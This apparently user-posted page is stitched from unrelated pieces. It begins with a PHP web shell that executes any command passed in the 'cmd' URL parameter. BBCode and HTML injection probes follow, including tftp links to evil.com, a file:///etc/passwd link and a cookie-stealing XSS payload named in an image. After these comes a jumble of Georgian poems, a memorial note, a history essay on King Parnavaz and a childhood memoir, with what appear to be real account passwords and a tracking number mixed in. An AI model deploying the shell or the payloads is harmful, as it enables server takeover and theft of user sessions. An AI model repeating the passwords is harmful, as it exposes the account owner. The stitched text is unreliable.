|
<?php echo basename($_SERVER['PHP_SELF']); ?>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
<h5>HAHA</H5>
[mail=<h5>HAHA</H5>]<h5>HAHA</H5>[/mail]
[url=tftp://evil.com:12346/TESTUDPPACKET]
[url=tftp://evil.com:12346/TESTUDPPACKET][/url]
[url=file:///etc/passwd][/url]
<a href="https://ibb.co/6cG055Jk"><img src="https://i.ibb.co/xKwqQQ8N/IFRAME-SRC-javascript-alert-document-cookie.jpg" alt="IFRAME-SRC-javascript-alert-document-cookie" border="0"></a>
[url=https://ibb.co/6cG055Jk][/url]
თბილი ქვეყნები
ჩიტები, გადამფრენ გუნდებად, ოჯახებად დაყოფილი, შავად მოფარფატენი, გადაუფრენენ ჩვენს სახლებს, გამხმარ მინდვრებს, ხეებს.
მოღუშულ ხასიათს გამოგიკეთებს მათი დანახვა.
ხშირად გვინდება ქალაქიდან გაქცევა და სადმე გადაკარგვა მათსავით _
სადაც თბილა, სადაც უფრო კომფორტს ვიგრძნობთ.
კლდეზე ჩამომავალ ჩანჩქერს თმაგაშლილი ქალები წრეს შემოარტყავენ და ჩიტებივით ფრთებს გაშლიან.
უბრალოდ, სითბო ყველაფერს აცოცხლებს.
ნათელში ამყოფოს უფალმა ნინუცას უმანკო და ლამაზი სული.
ტკივილი რომელიც არ ნელდება.
აგვისტოს მზიან დღეს დაიბადე ,საივარულში, სიხარულში, ბედნიერებაში იზრდებოდი , დაბადების დღე გიხაროდა, უეცარმა ულბმობელმა სიკვდილმა არ დაგაცალა და დღეს შეუსრულებელ დაბადების დღეს გილოცავ იმიერში,
ჩემო მარადიულო ტკივილო. , ჩემო სისხლო და ხორცო, მიყვარხარ, მენატრები,
https://youtu.be/V9PVRfjEBTI?si=EpRKBDhUyF3BKAb6
508969438
მოსწავლეს შეუძლია ისტ პროდუქტის შესაქმნელი საშუალებების გამოყენება, იყენებს სახატავ და ტექსტურ რედაქტორებს აქტივობებისას, ქმნის ნახატს.
ნათია როსტიაშვილი
ლიტერატორი
ნიკი ციტირება გამოქვეყნებულია: 17 ივლისი, 2013 23:52:26 შეტყობინება უცენზურო პოსტის შესახებ
მუხა, შენ გამახსენდი ამ ლექსზე
კახა შალამბერიძე
ჩემს სოფელში მუხებია,
ესე იგი მუხნარია,
ვის არ შეუწუხებია,
მუხებს მაინც უხარიათ.
ბაბუაჩემს იქ პირველად
ბებო დაუბარებია
და მუხების გასაკვირად
კოცნა დაუპირებია.
მონაყოლით ვიცი მუხის
ამას ვინ მეტყოდა აბა,
ბაბუაჩემს ახალუხი
ბებოს ჩითის ეცვა კაბა.
– და კოცნაზე უარი უთხრა?
– კი, ბებიას უთქვამს: არა!...
რავი, ასე მითხრა მუხამ,
იქნებ კიდეც დამიმალა...
ნინუც ნათელი და სანთელი შენს ლამაზ სულს, ჩემო მოურჩენელო ტკივილო, მიყვარხარ, მენატრები ,
CA733494055NL
"ხომ ხედავ,
ჩემში
ყველაფერი
ლამაზი მოკვდა,
რად არ მოდიხარ,
რად არ მეტყვი -
"მონაწილე ვარ!"...
ნ. კვიციანი.
მომწერე, რომ მოიცალო, ვიმეგობროთ. მომენატრეთ ძველები...
Terjola!1234! იაჰოს პაროლი
ქარმა ფოთლები იქვე
ზერელედ
ვითომც არაფერი,
წაიღო ისე
რომ ხეთა წყენა
გულგრილობისთვის
არ ვიცი რისთვის გავითავისე
11.10.24.ანდალუზია.
თინათინ იმნაიშვილი.
კენტი წერო
ქარი არხევდა ალვის კენწეროს,
პირველ მლოცველებს ჰგავდნენ ალვები.
თბილი ქვეყნისკენ ვერმფრენ კენტ წეროს,
დარდის ზღვა ჰქონდა გადასაფრენი...
ცა იყო მრუმე, სევდისფერთვალა,
თითქოს მზად მყოფი ამბის თხრობისთვის...
ცამ ჩიტის ბედი ვერც რით შეცვალა,
თუმც, დაენანა მარტოობისთვის
გუნდი კი ფრენდა მწკრივში, სამკუთხედ,
ცად აშვებული უცხო ფრანივით..
დარჩა ოცნება ფრთის ქვეშ, სათუთად,
მზის ქვეყანამდე ვერმიტანილი...
თანანა
Zmarexi12&12
აზონი და ფარნავაზი
რა მოხდა შემდგომ? ... ძვ.წ. მე-4 საუკუნის ბოლო, მესამის პირველი ნახევარი. ფარნავაზის გამეფება.
ისევ თეიმურაზ ბატონიშვილის ცნობები მოვიშველიოთ: ,,წელსა დასაბამოთგან სოფლისა ბერძულთა რიცხვთა 5206 - ქართულსა ქორონიკონსა მეათისა მოქცევისა 514 - ს, უწინარეს ქრისტეს შობისა 302 - ით წლითა, ვახუშტი მეისტორიე ჩვენი ჰსწერს ფარნავაზის მოთხრობაში ერისთავთ ფარნავაზის მიერ დადგინების ბოლოს“ (გვ. 115).
,,გადმოვთარგმნოთ“ თანამედროვეობაში ეს ინფორმაცია: დასაბამი სოფლისა აითვლება 5604 წლით. ერთი მოქცევა (ზემოთაც გამოვიყენეთ ეს მარტივი არითმეტიკა, ქართლოსის საქართველოში შემოსვლის თარიღის დადგენისას) ტოლია 532 წლისა. რადგან მეათე მოქცევის 514 წელი იყო გასული, შევასრულოთ შემდეგი არითმეტიკული მოქმედება: 532X9+514=4788+514=5302
მიღებულ რიცხვი უნდა გამოვაკლოთ დასაბამითგან სოფლისა თარიღს: 5604-5302=302.
ზემოთ, სწორედ ეს თარიღი, ქრისტეს წინარე 302 წელი აქვს აღნიშნული თეიმურაზ ბატონიშვილს, ვახუშტიზე დაყრდნობით, ფარნავაზის მიერ ერისთავების დადგინების ბოლო ვადად.
ბატონიშვილი აქვე განაგრძობს: ,,ამ ფარნავაზის მეფობის მეცხრამეტესა წელსა ქართულიანი ხუთასიანი ქორონიკონი ათჯერ მობრუნებული განვიდაო და ამის შემდგომად მეათერთმეტე მოქცევამან იწყოო“. და სხვანიცა ქართველთა მომთხრობელნი ემოწმებიან ამას; მაშა სადამე ქართული ქორონიკონი ფარნავაზის დროსვე ყოფილა და ამ რიცვიდამ ქრისტეს შობის რიცვამდე უცდომელად მოდიან ქართული წელთაღრიცხვანი“ (გვ.115).
ბატონიშვიოლი გვაუწყებს, რომ ქორონიკონით (ქვარონიკონით) წელთაღრიცხვა მოქმედებდა ფარნავაზის დროსაც და უცდომელია ქრისტეს შობის პერიოდამდე.
რადგან აუცილებლობას წარმოადგენს ფარნავაზ მეფის დაბადებისა და გარდაცვალების წლების დადგენა, როგორმე ამას თავი უნდა გავართვათ, მითუმეტეს, რომ თეიმურაზ ბატონიშვილი რამდენიმე რიცხვს გვისახელებს. ამიტომ, ჩვენ არ გამოვიყენებთ სხვადასხვა ისტორიკოსის ბუნდოვან თარიღებს, ჩვენსას ვცდით და მერე შევადარებთ მათ.
განვაგრძოთ; ,,იმეფა ფარნავაზ მეფემან სრულიად ივერიისა ზედა წელიწადი 65 ესე იგი სამეოცდა-ხუთი. ხოლო გამეფდა იგი წელთა დასაბამითგან სოფლისა ბერძულითა ანგარიშითა 5206. მაშინ იყო იგი 27 - სა და აღესრულა წელსა დასაბამითგან სოფლისა ბერძულითა ანგარიშითა 5271 - სა“. (გვ.117).
მოდით, დავანებოთ თავოი ბერძულ კალენდარს და ქართულ ქორონიკონს, მათ შორის არსებული წელთა განსხვავების გამო, დაახლოებით 96 წელი, თანაც ,,დასაბამითგან სოფლისაშიც“ რამდენიმე წლიანი სხვაობაა. ავიღოთ ქრისტეს წინარე (ქ.წ.) 302 წელი. თეიმურაზ ბატონიშვილი ხომ ვახუშტიზე დაყრდნობით წერს: ფარნავაზ მეფე ძვ,წ, 302 წელს იყო 19 წლის გამეფებულიო. წავიდეთ მარტივი გზით. თუ ფარნავაზმა სრულად იმეფა 65 წელი და გამეფდა 27 წლის ასაკში, მისი სიცოცხლის ხანგრძლიობა ყოფილა 92 წელი. ასევე, გამეფებიდან მე-19 წელს, ანუ ძვ.წ. 302 წელს, მან დაასრულა ერისმთავრების დადგინება. ე.ი. გამეფებულა ძვ.წ. 302 +19= ძვ.წ. 321 წელს.
თეიმურაზ ბატონიშვილის ცნობით, ფარნავაზი აზოს ეახლა ოცი წლის ასაკში: ,,ფარნავაზ ოცისა წლისა წარმოვიდა და მუნით და მოვიდა მცხეთად და შეეწყნარა აზონს, არამედ არა განუცხადა აზონს თუ ვისი ძეი არს იგი“ (გვ 112). თუკი, ძვ.წ. 321 წელს ის გამეფდა 27 წლის ასაკში, მაშინ იგი 20 წლისა იქნებოდა ძვ.წ. 328 წელს.
ფარნავაზ მეფის დაბადების წელი კი იქნებოდა ძვ.წ. 328 + 20 = ძვ.წ. 348 წელს. შესაბამისად, გარდაცვალების წელი დადგინდება ძვ.წ. 348 – 92 = ძვ.წ. 246 წელი.
ძვ.წ. 329 ან ძვ.წ.+328 წელს, შეეძლო ალექსანდრე მაკედონელს, რომ საქართველო დაელაშქრა? ... შეეძლო. მან ძვ.წ. 329-327 წ.წ. ილაშქრა სოღდისა და ბაქტრიის აჯანყებულთა წინააღმდეგ, ანუ ეს არ გახლდათ დაპყრობითი ომი. ამით იმის თქმა გსურს, რომ ალექსანდრე ხმალამოწვდილი, მაინცდამაინც ძვ.წ.329 წელს არ ეკვეთებოდა მტერს, უფრო მეწინავე არმიას ე.წ. ავანგარდს გაუშვებდა და თვითონ უკან მიჰყვებოდა, მითუმეტეს, რომ ეს ბრძოლა ლოკალურ ხასიათს ატარებდა. მეთაურების განადგურების შემდგომ, აჯანყებულები დაშოშმინდნენ.
ყველაფერი გაირკვა? ... გაირკვა, მაგრამ ჩვენთვის, ,,ჭკუა უხმარ არს ბრიყვთათვის“ ... რა ვუყოთ უკვე არსებულ ისტორიას, თანაც გაყალბებულს?
(გაგრძელება იქნება)
ერთი კინკილა ბაღანე ვიყავი მიქაბერიძეებში და რომ ამევიოხრებდი რაცხა შემთხვევით,ბებიაჩემი მეორე ოთახიდან გამორბოდა,-რაიყო იკუნა,რა გჭირს ბებია?! აფერი არ მჭირდა მარა დაფეთებული გურული იყო.
ჰოდა ასე გაზრდილ ბაღანას სკოლაში მარტო ვინ გამიშვებდა.ხელჩაკიდებული დავყავდი ხან ბებიას და ხან დედაჩემს.
ერთხელ გაბედეს და არხეინ მამაჩემს ანდეს ჩემი სკოლაში წაყვანა.სკოლა კი იყო კაი შორს.
ნახევარი გზა რომ გავიარეთ,- მამა ხომ წახვალ შენითო? მკითხა.რავა ვიტყოდი უარს,თავისუფლებას დანატრებული.ჰოდა გამიშვა....
საღამოს გეიგო ოჯახმა და ბებიაჩემი კაპლებით მოასულიერეს.
გავიდა ხანი და გარისკეს მეორედ..
ჰოდა არ უქნა გულმა თურმე ბებიაჩემს,კიდო არ გოუშვას მარტოო და უკან გამოგვყოლია.
მერე მითხრა,საიდუმლოდ.მამაშენს არ უთხრა,გადირევაო.
ასე,,ბამბაში გაზდილი,, ბაღანე ვიყავი,აპაა...
-მოაგენი ბოჩოლა სახლს?კაი,კაი მამა..
მეტყოდა მამაჩემი გვიანმისულს..
-გოგოს სულ გარეთ ყოფნა არ გამიგია მე,მარა ვის ესმის ჩემი?!!....გააპროტესტებდა დედაჩემი.... -დაგემსგავსა შენ მაინცდამაინც! გადაწვდებოდა მამიკოსაც...
-მამა,მოი ერთი ჩამეხუტე,მეტყოდა მამაჩემი და ხელს გაშლიდა..
ახლაც ასე იცის..
როგორ მენატრება ის დრო....
|
